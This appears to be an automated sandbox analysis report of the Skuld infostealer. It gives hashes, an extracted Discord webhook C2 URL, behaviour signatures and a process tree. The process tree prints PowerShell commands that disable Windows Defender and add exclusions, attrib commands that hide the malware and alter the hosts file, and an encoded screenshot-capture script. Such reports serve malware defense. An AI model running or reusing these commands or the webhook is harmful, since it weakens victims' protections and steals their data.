Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17-10-2024 02:42

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    ba8904102182cfee01183be323df0206

  • SHA1

    180f7131b08a336643e36eebb02bec7818e636a8

  • SHA256

    6e311aab3aa0107a6740047bb39ff4d0681e031d2a9be5b41a2fd43f99001c6b

  • SHA512

    30bb5af08e87b0056e44b15dde6bd3dca21d4d01ec3019cd69e0ccb169f31a1475a2d7092724bb3d5e0453eb7737383cec3748444aa52aba346e6f75dc58e74b

  • SSDEEP

    98304:BjoGgersz5XxkXX9jKNkeEkRJwEWpJBJZrZ6QmEHr:Bjzrszc4NkeE+JJ85mEHr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296301282251903037/WshT7A7pEu0AhyXLLTc0qGgKZbqZAIGAaYjzCFnVn9Q2bLinclJ4010EZGBBtfZKzDlG

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:3232
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2632
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3156
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jva2um3j\jva2um3j.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6DA.tmp" "c:\Users\Admin\AppData\Local\Temp\jva2um3j\CSC963F55225A943B7B85622F28A75E7DE.TMP"
          4⤵
            PID:3676
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:2316
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3372

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      627073ee3ca9676911bee35548eff2b8

      SHA1

      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

      SHA256

      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

      SHA512

      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      e3840d9bcedfe7017e49ee5d05bd1c46

      SHA1

      272620fb2605bd196df471d62db4b2d280a363c6

      SHA256

      3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

      SHA512

      76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      051a74485331f9d9f5014e58ec71566c

      SHA1

      4ed0256a84f2e95609a0b4d5c249bca624db8fe4

      SHA256

      3f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888

      SHA512

      1f15fd8ca727b198495ef826002c1cbcc63e98eecb2e92abff48354ae668e6c3aaf9bd3005664967ae75637bacee7e730ce36142483d08ae6a068d9ae3e0e17d

    • C:\Users\Admin\AppData\Local\Temp\1qdIh6houP\Display (1).png

      Filesize

      413KB

      MD5

      5c09774cb8ca131a6a684f8c1097fb0f

      SHA1

      6b2af5f33778654db56e334ede0af40566d000f6

      SHA256

      8371d9005f41153795c0591f758c8b01d7cd2f1b00f0ca638f109a391453d836

      SHA512

      80d7ca226758944cda383b214827c011b2b9dab08113ce33138eb5147e1f9a8d05d44807cca8b9220b9efe040487c466f645b0e8de12992311925dc6da695e67

    • C:\Users\Admin\AppData\Local\Temp\RESC6DA.tmp

      Filesize

      1KB

      MD5

      6dfd5b8aa5e0dfd6792886d95616d58a

      SHA1

      8ec108fbbba0516d0eee99d86d43a803a918a624

      SHA256

      764257a970f31ece15847cecf480e98e84c0c6f8cd8050b29490e37772b33d80

      SHA512

      e6fb028a6101c9236301deb53dfdffcf6f0d4bb5856d5c3ccbab87c3f087163d74ac4759f5dab65eff4fe8755823a158d809c62f2821dfc5a5307a2e249158ef

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k4ighhey.aiy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\jva2um3j\jva2um3j.dll

      Filesize

      4KB

      MD5

      98d1c641f71ba993f7853c12b0e40198

      SHA1

      cf2d1edb5045ac0056fd5afff78d65bdcd713352

      SHA256

      fdb7dad749d257e2156fcedda82394d69cb051fa9d2f67da2d15bc57dbdbf2dd

      SHA512

      c04f43cdc24aed8523dba840c8472c329fc23cebed30cd980c3e8d63ec98820b0e6fc610be13b8acfc8b085bb2751caf9d0b4d28926d92639bcf7b5dff92f2ad

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      ba8904102182cfee01183be323df0206

      SHA1

      180f7131b08a336643e36eebb02bec7818e636a8

      SHA256

      6e311aab3aa0107a6740047bb39ff4d0681e031d2a9be5b41a2fd43f99001c6b

      SHA512

      30bb5af08e87b0056e44b15dde6bd3dca21d4d01ec3019cd69e0ccb169f31a1475a2d7092724bb3d5e0453eb7737383cec3748444aa52aba346e6f75dc58e74b

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\jva2um3j\CSC963F55225A943B7B85622F28A75E7DE.TMP

      Filesize

      652B

      MD5

      fac5e5d27fbf7324d0537a47b5e88c02

      SHA1

      ad14fd7da3e0105457fd6ee77ed25f4a6f1a207a

      SHA256

      fced3d9a94bd970d7120802a66614f3a61daf246064a673c0729b50eb1c01b34

      SHA512

      dbb747e168022a0fb1706be0c613129dacdaad3526735ac41d63ca3eb507cd34379424fa3125a857c7d9cde61307ba041a2cc6da6866409ed2b0344b715a3551

    • \??\c:\Users\Admin\AppData\Local\Temp\jva2um3j\jva2um3j.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\jva2um3j\jva2um3j.cmdline

      Filesize

      607B

      MD5

      f43397a549716736d0a0320ce6b38510

      SHA1

      8984df8b501ea2553f770a73d4c5102361c918dd

      SHA256

      a957698bb8380f1b43f9d59b210220017c2ebede1c52301579125374fc00b419

      SHA512

      69dc3467969ca2f4fe76a38a924b4a29190d2b1587f8e55e8dc2a60189664fcf9b9aa22de31e2e49a5dd77134f2606540d4958b1118253da12b9f7d396c91088

    • memory/2632-3-0x00007FFB445D3000-0x00007FFB445D5000-memory.dmp

      Filesize

      8KB

    • memory/2632-22-0x00007FFB445D0000-0x00007FFB45092000-memory.dmp

      Filesize

      10.8MB

    • memory/2632-19-0x00007FFB445D0000-0x00007FFB45092000-memory.dmp

      Filesize

      10.8MB

    • memory/2632-18-0x00007FFB445D0000-0x00007FFB45092000-memory.dmp

      Filesize

      10.8MB

    • memory/2632-16-0x00007FFB445D0000-0x00007FFB45092000-memory.dmp

      Filesize

      10.8MB

    • memory/2632-11-0x00000292E6DD0000-0x00000292E6DF2000-memory.dmp

      Filesize

      136KB

    • memory/3156-61-0x0000016A7D070000-0x0000016A7D078000-memory.dmp

      Filesize

      32KB